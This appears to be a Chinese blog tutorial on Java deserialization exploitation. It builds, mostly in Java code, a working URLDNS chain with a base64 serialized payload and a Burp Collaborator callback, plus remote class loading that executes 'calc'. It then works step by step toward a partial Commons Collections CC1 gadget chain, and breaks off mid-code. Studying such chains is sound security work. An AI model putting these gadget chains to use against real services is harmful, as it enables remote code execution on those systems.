赞
踩
title: java反序列化cc链
categories:
persion.java
import java.io.Serializable; public class Persion implements Serializable { private String wan; private int i; @Override public String toString() { return "Persion{" + "wan='" + wan + '\'' + ", i=" + i + '}'; } public String getWan() { return wan; } public void setWan(String wan) { this.wan = wan; } public int getI() { return i; } public void setI(int i) { this.i = i; } public Persion() { } public Persion(String wan, int i) { this.wan = wan; this.i = i; } }
serialize.java
import java.io.FileOutputStream; import java.io.ObjectOutputStream; public class SerializeTest { public static void serilize(Object obj) throws Exception { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("ser.bin")); os.writeObject(obj); } public static void main(String[] args) throws Exception{ Persion persion = new Persion("wan",22); System.out.println(persion); serilize(persion); } }
Unserialize.java
import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.ObjectInputStream; public class UnserializeTest { public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream osi = new ObjectInputStream(new FileInputStream(Filename)); Object obj = osi.readObject(); return obj; } public static void main(String[] args) throws IOException, ClassNotFoundException { Persion persion = (Persion) unserialize("ser.bin"); System.out.println(persion); } }
重写persion类中的readObject方法
import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; public class Persion implements Serializable { private String wan; private int i; @Override public String toString() { return "Persion{" + "wan='" + wan + '\'' + ", i=" + i + '}'; } public String getWan() { return wan; } public void setWan(String wan) { this.wan = wan; } public int getI() { return i; } public void setI(int i) { this.i = i; } public Persion() { } public Persion(String wan, int i) { this.wan = wan; this.i = i; } private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); Runtime.getRuntime().exec("calc"); } }
重新序列化和反序列化
这里的愿意是Persion类重写了readObject(),由于在执行反序列化的时候,它会自动调用,所以导致了calc的执行
persion.java
public class Persion { private String name; public int age; public void action(){ System.out.println("action test"); } @Override public String toString() { return "Persion{" + "name='" + name + '\'' + ", age=" + age + '}'; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public Persion() { } public Persion(String name, int age) { this.name = name; this.age = age; } }
import java.lang.reflect.Constructor; public class Refelct { public static void main(String[] args) throws Exception { Persion persion = new Persion(); // 下面的意思是获取persion类的class对象,也就是整个persion.java(这样说不太对) Class<? extends Persion> persionClass = persion.getClass(); // 而反射就是在操作class对象,也就是这里的persionClass // 既然我们以及获取了整个persion.java,我们当然可以通过他来new对象,这里就和原先new Perison不一样了 // 既然无法直接new,那么肯定给了方法可以调用来new 对象.也就是下面的newInstance // 但是newInstance其实是无参构造方法,不能传参数,原因就是newInstace其实是需要构造器来驱动的,但是这里我们偷懒没有用构造器,就默认调用无参构造了. Persion persion1 = persionClass.newInstance(); // 接下来我们可以获取一个有参构造的构造器,接着调用有参构造的构造器来newInstance() // 由于这里的getConstructor并不是new对象,因此这里传入的当然也不能是对象的参数,那么传什么呢?用来标识的话就需要传入.class,当然这里是根据源代码来解释的了. Constructor<? extends Persion> persionConstructor = persionClass.getConstructor(String.class, int.class); // 接着不偷懒通过有参构造器来new对象就好了 Persion persion2 = persionConstructor.newInstance("wan", 1); System.out.println(persion2); // 现在我们已经获取了对象,那么属性呢? } }
import java.lang.reflect.Constructor; import java.lang.reflect.Field; public class Refelct { public static void main(String[] args) throws Exception { Persion persion = new Persion(); Class<? extends Persion> persionClass = persion.getClass(); Constructor<? extends Persion> persionConstructor = persionClass.getConstructor(String.class, int.class); Persion persion1 = persionConstructor.newInstance("wan", 111); // System.out.println(persion1); // 现在我们已经获取了对象,那么属性呢? // 这里可以通过getFileds()来获取属性 Field[] fields = persionClass.getFields(); for (Field field : fields) { // System.out.println(field); } // 输出public int Persion.age // 可见,这里只输出了一个age,如果你细心的话,就会发现这里的age是public,而name是private的 Field[] declaredFields = persionClass.getDeclaredFields(); for (Field declaredField : declaredFields) { // System.out.println(declaredField); } // 输出private java.lang.String Persion.name //public int Persion.age // 这样就可以了 // 现在我们已经获取到了属性,接着该修改属性了 // 当然,如果你能举一反三,下面将会很好理解的 // 获取这个属性(相当于获取构造器) Field ageField = persionClass.getField("age"); // 这里就是给person1的age进行改值了,也很好理解,获取了属性,但是不知道属性是谁的,所以要加一个person1,后面就是需要改的值了 ageField.set(persion1,2222); System.out.println(persion1); // 输出Persion{name='wan', age=2222} // 发现了吗?这里改private就是用declaredField咯 Field nameFiled = persionClass.getDeclaredField("name"); // 将name设置成可修改的,从private可以更改 nameFiled.setAccessible(true); nameFiled.set(persion1,"aaa"); System.out.println(persion1); // 输出Persion{name='aaa', age=2222} // 接下来就是方法咯 // 举一反三哦 } }
我们先分析hashmap看看
首先这里实现了Serializable接口是可以进行序列化的
curl+f12 搜索类中方法readObject,这里也是存在readObject()方法的,也就是说明,hashmap既可以进行序列化,也可以在反序列化的时候自动调用,
可以看到这里调用了hash函数,其中先是循环去除key,接着在hash中传了key
接着跟过去,发现调用了hashCode
到这里就会发现hashCode非常常见,因此我们就可以将hashMap作为入口类
接着我们看一下urldns链不能执行命令,但通常作为验证是否存在反序列化漏洞的一种方式.ysoserial工具,它集合了各种java反序列化的payload.ysoserial.jar下载完成之后我们打开看一下调用链
可见这里首先是通过HashMap.readObject()方法的自动调用作为入口,接着就是上面的HashMap的hash.然后这里就是重点了,也就是这里的URL.hashCode().这里为什么是URL.hashCode呢
这里是调用的key的hashCode()方法,而这里的key我们可以通过hashmap的put方法放入一个URL对象,也就是说,这里的key其实是我们可以控制的.
可见使用了URL的hashCode方法.这里我们回过头来去看一下URL的hashCode()方法
可见实现了Serializeable接口,这里也是说明URL对象也是可以进行序列化的,那你也许会说,为啥不用URL对象的readObject()方法呢
其实是有重写的,不过这里没有办法利用,因为并没有调用到有用的方法,就像我们在刚开始那个Persion重写的readObject()那样
接着我们来看hashCode()方法,还记得吗,在上面其实是调用了URL的hashCode()方法,这里为啥要调URL的hashCode()方法呢?
可见调用了handler的hashCode()方法,这里传入了一个URL对象
这里又调用了getHostAddress方法,跟过去看看,可见这里是会进行dns解析,那么这里就完美了
这里我们就开始写利用函数,我们先去burp生成一个dns连接
copy
dns.java
import java.net.URL;
import java.util.HashMap;
public class dns {
public static void main(String[] args) throws Exception {
URL url = new URL("http://i8rvj4c7vdn2x353vm3eufouslybm0.burpcollaborator.net");
url.hashCode();
}
}
我们这里写的是正常情况下我们怎么触发这个dns请求
可见这里先是进行了hashCode 这个值是否等于-1,注意这里我们是不等的
这里也是去请求了,这里也收到了
接着我们写一下反序列化的调用链
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.net.URL; import java.util.HashMap; public class dns { public static void main(String[] args) throws Exception { // 先得到入口点HashMap对象 HashMap<URL, Integer> objectObjectHashMap = new HashMap<>(); // 这里是得到url对象,也就是我们需要去利用的,准备好put进入hashmap URL url = new URL("http://rzu4ad3gmmebocwcmvunlof3juplda.burpcollaborator.net"); // 将准备好的值put进去 objectObjectHashMap.put(url,1); // serilize(objectObjectHashMap); unserilize("ser.bin"); } public static void serilize(Object obj)throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj); } public static Object unserilize(String Filename) throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object o = objectInputStream.readObject(); return o; } }
这里正常来说在序列化的时候是不会接受到dns请求的,但是并不是.执行之后burp就收到了dns请求了
至于为什么呢.我们跟一下put方法来看看
这里put调用了hash()
这里可以看到调用了key的hashCode方法,也就是说调用了URL的hashCode方法,接着步入
这里可以看到如果hashCode不等于-1就返回hashCode
我们先去搞清楚这个hashCode是在什么时候赋值的,或者更改的,从下面可见这里的hashCode在初始化的时候是-1
到这里就发现看到了对hashCode的赋值
也就是说,在put之前我们不能让hashCode是-1,不然hashCode(this)就会执行,就会执行dns请求.而如果不改回来的话呢,hashCode就不等于-1,也就是在反序列化的时候就无法执行.
注意第一个调用的不是URL对象的hashCode哦,我们直接到第三个
可见这里根本就不会执行下面的handler的hashCode方法,也就不会去请求dns了
也就是说,我们要在put之前将hashCode进行更改不等于-1,不进行dns请求.在put之后将hashCode更改回-1,让他在反序列化的时候进行dns请求.(不懂重新敲一遍)
我们改为之后就可以序列化和反序列化了
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class dns { public static void main(String[] args) throws Exception { // 先得到入口点HashMap对象 HashMap<URL, Integer> objectObjectHashMap = new HashMap<>(); // 这里是得到url对象,也就是我们需要去利用的,准备好put进入hashmap URL url = new URL("http://ni9zwg53yga0f5jhqxa5uqxfn6tyhn.burpcollaborator.net"); // 先利用反射将URL类的hashcode进行更改 // 获取url类的class对象 Class<? extends URL> urlClass = url.getClass(); // 获取hashCode属性 Field hashCodeField = urlClass.getDeclaredField("hashCode"); hashCodeField.setAccessible(true); hashCodeField.set(url,111); // 到这里值已经准备好了 // 将准备好的值put进去 objectObjectHashMap.put(url,1); // 将hashCode更改回-1 hashCodeField.set(url,-1); serilize(objectObjectHashMap); unserilize("ser.bin"); } public static void serilize(Object obj)throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj); } public static Object unserilize(String Filename) throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object o = objectInputStream.readObject(); return o; } }
改成base64形式
package org.example; import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.nio.charset.StandardCharsets; import java.util.Base64; import java.util.HashMap; public class urldnsre { public static void main(String[] args) throws Exception{ HashMap<URL,Integer> hashMap = new HashMap<>(); URL url = new URL("http://9akkvj4eq43jdlgj889wfnuo3f98xx.burpcollaborator.net"); Class<? extends URL> urlClass = url.getClass(); Field hashCode = urlClass.getDeclaredField("hashCode"); hashCode.setAccessible(true); hashCode.set(url,10000); hashMap.put(url,1); hashCode.set(url,-1); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashMap); byte[] bytes = byteArrayOutputStream.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String s = encoder.encodeToString(bytes); System.out.println(s); String str = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//3QAMzlha2t2ajRlcTQzamRsZ2o4ODl3Zm51bzNmOTh4eC5idXJwY29sbGFib3JhdG9yLm5ldHQAAHEAfgAFdAAEaHR0cHB4c3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAF4"; Base64.Decoder decoder = Base64.getDecoder(); byte[] decode = decoder.decode(str); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }
ProxyTest.java
包含main方法用于调用
import java.lang.reflect.Proxy; public class ProxyTest { public static void main(String[] args) { UserImpl user = new UserImpl(); // user.show(); // 静态代理 UserProxy userProxy = new UserProxy(user); userProxy.show(); // 动态代理 // 要代理的接口 要做的事情 classloader UserInvocationHandler userInvocationHandler = new UserInvocationHandler(user); IUser userProx = (IUser)Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), userInvocationHandler); userProx.update(); } }
UserImple.java
用于实现Iuser接口
public class UserImple implements Iuser{ @Override public void create() { System.out.println("调用了create"); } @Override public void delete() { System.out.println("调用了delete"); } @Override public void show() { System.out.println("show"); } }
IUser.java
Iuser接口
public interface Iuser {
void show();
void create();
void delete();
}
UserProxy.java
作为user的代理
public class UserProxy implements Iuser{ @Override public void show() { show(); System.out.println("调用了show"); } @Override public void create() { create(); System.out.println("调用了create"); } @Override public void delete() { delete(); System.out.println("调用了delete"); } }
重写Persion.java
import java.io.Serializable; public class Persion implements Serializable { public String name; private int age; @Override public String toString() { return "Persion{" + "name='" + name + '\'' + ", age=" + age + '}'; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public Persion() { } public Persion(String name, int age) { this.name = name; this.age = age; } static { System.out.println("静态代码块"); } { System.out.println("构造代码块"); } public static void action() { System.out.println("静态action"); } }
LoadClass.java
public class LoadClassTest {
public static void main(String[] args) {
new Persion("aa",2);
System.out.println("-----");
Persion.action();
}
}
public class LoadClassTest {
public static void main(String[] args) {
// new Persion("aa",2);
// System.out.println("-----");
// Persion.action();
Class clazz = Persion.class;
}
}
可见没进行初始化
public class LoadClassTest {
public static void main(String[] args) throws Exception{
Class.forName("Persion");
}
}
这里初始化了
public class LoadClassTest {
public static void main(String[] args) throws Exception{
// Class.forName("Persion");
// 先创建一个classloader
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
Class<?> persion = Class.forName("Persion", false, systemClassLoader);
persion.newInstance();
}
}
Test.java
import java.io.IOException;
public class Test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
编译一下Test.java 接着删除Test.java防止影响
import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; public class LoadClassTest { public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, MalformedURLException { // new Persion("aa",2); // System.out.println("-----"); // Persion.action(); // Class clazz = Persion.class; // 获取系统当前内部类 ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader(); // 不进行初始化类 // Class<?> persion = Class.forName("Persion", false, systemClassLoader); // 创建实例 // persion.newInstance(); // Class<?> persion = systemClassLoader.loadClass("Persion"); URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://wan/")}); Class<?> hello = urlClassLoader.loadClass("Test"); hello.newInstance(); } }
起一个网页,把Test.class放到网站下面
import sun.misc.Unsafe; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; import java.nio.file.Files; import java.nio.file.Paths; public class LoadClassTest { public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, IOException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException { // new Persion("aa",2); // System.out.println("-----"); // Persion.action(); // Class clazz = Persion.class; // 获取系统当前内部类 ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader(); // 不进行初始化类 // Class<?> persion = Class.forName("Persion", false, systemClassLoader); // 创建实例 // persion.newInstance(); // Class<?> persion = systemClassLoader.loadClass("Persion"); // URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://wan/")}); // Class<?> hello = urlClassLoader.loadClass("Test"); // hello.newInstance(); // Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); // defineClass.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\Download\\java\\src\\Test.class")); // Class clazz = (Class) defineClass.invoke(systemClassLoader, "Test",code,0,code.length); // clazz.newInstance(); Class c = Unsafe.class; Field theUnsafe = c.getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); Unsafe unsafe = (Unsafe) theUnsafe.get(null); Class c2 = unsafe.defineClass("Test",code,0,code.length,systemClassLoader,null); c2.newInstance(); } }
下载java 8u65
https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4
找到这个sun
D:\Download\jdk-af660750b2f4\src\share\classes
添加maven项目
解压这个
在把sun考进src里面
添加src
添加依赖
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
CC1Test.java
package org.example; import java.io.*; public class CC1Test { public static void main(String[] args) { } public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
导入org.apache.commons.collections.Transformer包
如果maven下载不下来源码,可以换一个maven试试
接着我们开始分析cc1
查看实现的方法 ctrl + alt + b
我们去查看InvokeTransform.java
可以见到这里的input.getClass()获取了一个类对象,接着得到了类的一个方法,接着去执行这个input的iArgs方法
正常弹个计算器
package org.example; import java.io.*; import java.lang.reflect.Method; public class CC1Test { public static void main(String[] args) throws Exception { // 正常弹个计算器 Runtime.getRuntime().exec("calc"); } public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
反射弹计算器
package org.example; import java.io.*; import java.lang.reflect.Method; public class CC1Test { public static void main(String[] args) throws Exception { // 反射弹计算器 // 先获取一个RUntime对象 Runtime runtime = Runtime.getRuntime(); // 获取runtime的class对象 Class<? extends Runtime> runtimeClass = runtime.getClass(); // 获取runtime的class的exec方法 Method exec = runtimeClass.getMethod("exec", String.class); // 通过invkoe执行runtime类的exec方法传入参数为calc exec.invoke(runtime,"calc"); } public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
调用InvokerTransformer()的transform()弹个计算器
先去看构造方法,首先是一个方法的名字,接着是一个类对象数组其中放的是参数类型,接着是args的参数
package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import java.io.*; import java.lang.reflect.Method; public class CC1Test { public static void main(String[] args) throws Exception { // invokeTransform弹个计算器 Runtime runtime = Runtime.getRuntime(); // 第一个exec就是runtimeClass.getMethod("exec", // 第二个new CLass[]{String.class}就是String.class); // 第三个 new Object[]{"calc"}就是,"calc"); InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); exec.transform(runtime); } public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
接着我们去看看谁调用了transform()
可以看到这里都调用了transform(),这里我们就直接看checkSetValue()了
这里可以看到valueTransformer调用了transform()方法.但是也行你已经发现了这里的transform()方法中还有一个value,我们并不能现在就给他赋值.这里需要先注意一下哦.那么我们就需要去看看这个valueTransformer是在哪里赋值的
这里可以看到这里的TransformedMap是对valueTransformer进行了赋值,但是这里的方法其实是protected的,那么肯定在本类中有调用
也可以看到这里进行了调用操作,这里也可以发现这个decorate是一个静态方法不需要new对象.
package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.reflect.Method; import java.util.HashMap; public class CC1Test { public static void main(String[] args) throws Exception { // invokeTransform弹个计算器 Runtime runtime = Runtime.getRuntime(); // 第一个exec就是runtimeClass.getMethod("exec", // 第二个new CLass[]{String.class}就是String.class); // 第三个 new Object[]{"calc"}就是,"calc"); InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); exec.transform(runtime); // // 其实这里是先创建一个objectObjectHashMap用来对valueTransformer进行赋值,也就是说这里只是进行了赋值操作 HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); // 我们只需要将valueTransformer赋值成exec,方便于checkSetValue的调用(现在还没调用,仅仅是赋值操作) TransformedMap.decorate(objectObjectHashMap,null,exec); } public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
这里已经赋值完成了,我们就需要去调用这个checkSetValue了,先查找一下
写成这样,接着我们去找哪里调用了checkSetValue()
这里找到了抽象类的AbstractInputCheckedMapDecorator中的setValue()
这里是继承了这个AbstractInputCheckedMapDecorator类,所以在子类TransformedMap调用setValue的时候就会调用AbstractInputCheckedMapDecorator的.
也就是这里,这里我们已经找到了去checkSetValue()的地方,那么我们又要去寻找可以调用setValue的地方.其实这里我们已经找到了就在AnnotationInvocationHandler类中.可以看到这里采用的是循环的方式去调用setValue,因此我们也可以写成这种方式.
package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import org.omg.CORBA.OBJ_ADAPTER; import java.io.*; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class CC1Test { public static void main(String[] args) throws Exception { // invokeTransform弹个计算器 Runtime runtime = Runtime.getRuntime(); // 第一个exec就是runtimeClass.getMethod("exec", // 第二个new CLass[]{String.class}就是String.class); // 第三个 new Object[]{"calc"}就是,"calc"); InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); // exec.transform(runtime); // // 其实这里是先创建一个objectObjectHashMap用来对valueTransformer进行赋值,也就是说这里只是进行了赋值操作 HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); // 这里我们要将一个值存放到map中去 原因就是下面的decorate仅仅是装饰这个map并不会为map中添加值,所以我们需要手动添加值 才能进入下面的 objectObjectHashMap.put("key","value"); // 我们只需要将valueTransformer赋值成exec,方便于checkSetValue的调用(现在还没调用,仅仅是赋值操作) Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, exec); // 注意这里的runtime其实就是transform(Object input)这里的input for (Map.Entry entry:decorate.entrySet()){ entry.setValue(runtime); } // 到这里我们就需要去找一条通过像我们这样调用方法去调用的setValue() } public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new `FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
这里可以看到首先是在TransformedMap中有个valueTransformer,之后在decorateTransform中new 了一个TransformedMap
现在我们找到了调用setValue的地方还需要注意的是这里的方法就是我们需要的readObject方法,也就是反序列化的起点
接着我们去看看memberValue是怎么赋值的
可以看到这里是一个默认类型的构造方法方法,也就是只能在当前包下才能调用.其中的参数第一个其实是一个注解(@Override这种),第二个是一个map类型,也就是这里需要反射来创建(原因就是这里的构造方法其实是一个默认方法)
package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import org.omg.CORBA.OBJ_ADAPTER; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class CC1Test { public static void main(String[] args) throws Exception { // invokeTransform弹个计算器 Runtime runtime = Runtime.getRuntime(); // 第一个exec就是runtimeClass.getMethod("exec", // 第二个new CLass[]{String.class}就是String.class); // 第三个 new Object[]{"calc"}就是,"calc"); InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); // exec.transform(runtime); // // 其实这里是先创建一个objectObjectHashMap用来对valueTransformer进行赋值,也就是说这里只是进行了赋值操作 HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); objectObjectHashMap.put("key","value"); // 我们只需要将valueTransformer赋值成exec,方便于checkSetValue的调用(现在还没调用,仅仅是赋值操作) Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, exec); // 注意这里的runtime其实就是transform(Object input)这里的input // for (Map.Entry entry:decorate.entrySet()){ // entry.setValue(runtime); // } // 到这里我们就需要去找一条通过像我们这样调用方法去调用的setValue() // 这里我们就找到了AnnotationInvocationHandler.java的readObject,现在我们需要通过反射来给memberValue进行赋值(原因是方法是默认类型同包下才能调用) // 这里是先获取一个AnnotationInvocationHandler的类对象 Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 获取构造方法 Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class); // 设置可以访问 aihClassDeclaredConstructor.setAccessible(true); // 这里传入的是注解的类,因为参数接受的就是注解类 后面的decorate其实就是我们已经构造好的map Object o = aihClassDeclaredConstructor.newInstance(Override.class, decorate); } public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
到这里我们已经找到了起点和终点,现在我们需要将它串起来,并且可以反序列化.还记得在checkSetValue(value)这里我们传入的value吗.这个关键的Rntime.getRuntime()其实是不能被反序列化的.我们需要通过反射去拿到
这里其实用到了java的单例模式,这里简单来说就是我们可以通过调用getRuntime来构造一个Runtime对象,顺便仔细理解一下
这一行
Runtime.getRuntime().exec("calc");
package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import org.omg.CORBA.OBJ_ADAPTER; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class CC1Test { public static void main(String[] args) throws Exception { // invokeTransform弹个计算器 // Runtime runtime = Runtime.getRuntime(); // 第一个exec就是runtimeClass.getMethod("exec", // 第二个new CLass[]{String.class}就是String.class); // 第三个 new Object[]{"calc"}就是,"calc"); InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); // exec.transform(runtime); // // 其实这里是先创建一个objectObjectHashMap用来对valueTransformer进行赋值,也就是说这里只是进行了赋值操作 HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); objectObjectHashMap.put("key","value"); // 我们只需要将valueTransformer赋值成exec,方便于checkSetValue的调用(现在还没调用,仅仅是赋值操作) Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, exec); // 注意这里的runtime其实就是transform(Object input)这里的input // for (Map.Entry entry:decorate.entrySet()){ // entry.setValue(runtime); // } // 到这里我们就需要去找一条通过像我们这样调用方法去调用的setValue() // 这里我们就找到了AnnotationInvocationHandler.java的readObject,现在我们需要通过反射来给memberValue进行赋值(原因是方法是默认类型同包下才能调用) // 也就是这里的readObject其实就是我们的起点 // 这里是先获取一个AnnotationInvocationHandler的类对象 Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 获取构造方法 Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class); // 设置可以访问 aihClassDeclaredConstructor.setAccessible(true); // 这里传入的是注解的类,因为参数接受的就是注解类 后面的decorate其实就是我们已经构造好的map Object o = aihClassDeclaredConstructor.newInstance(Override.class, decorate); // 下面是正常通过反射执行命令的语句 // Runtime runtime = Runtime.getRuntime(); // 由于Runtime的本身无法序列化,但是Runitme的class其实是可以序列化的 Class<Runtime> runtimeClass = Runtime.class; // 由于是无参方法所以这里的第二个参数就填null就好了 Method getRuntime = runtimeClass.getMethod("getRuntime",null); // 这里也是在执行的时候执行的是一个静态方法,也就是不需要对象第一个参数就填null就好,而又是一个无参方法,第二个参数也是null // 这里其实获取的是一个runtime对象,也就是这一行Runtime runtime = Runtime.getRuntime(); Runtime runtime1 = (Runtime) getRuntime.invoke(null, null); // 现在我们需要获取exec()方法来执行命令 Method exec1 = runtimeClass.getMethod("exec", String.class); exec1.invoke(runtime1,"calc"); } public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
我们把整个执行全部换成反射
package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class urldnsre { public static void main(String[] args) throws Exception{ // Runtime.getRuntime().exec("calc"); Class runtimeClass = Runtime.class.getClass(); // 获取一个class对象 用于获取class中的getMethod方法 Method getRuntime = runtimeClass.getMethod("getMethod", String.class, Class[].class ); // 这里获取到了getMethod之后去获取runtime类的getRuntime也就是Runtime.getRuntime() Method getRuntimeMethod = (Method) getRuntime.invoke(Runtime.class, "getRuntime", null); // 这里是获取method类的invoke方法 Class<? extends Method> aClass1 = getRuntimeMethod.getClass(); Method invoke = aClass1.getMethod("invoke", Object.class, Object[].class); // invoke方法去获取runtime对象也就是Runtime.getRuntime() Runtime runtime1 = (Runtime) invoke.invoke(getRuntimeMethod, null,null); // 获取runttime的exec方法 Class<? extends Runtime> aClass2 = runtime1.getClass(); Method exec = aClass2.getMethod("exec", String.class); // 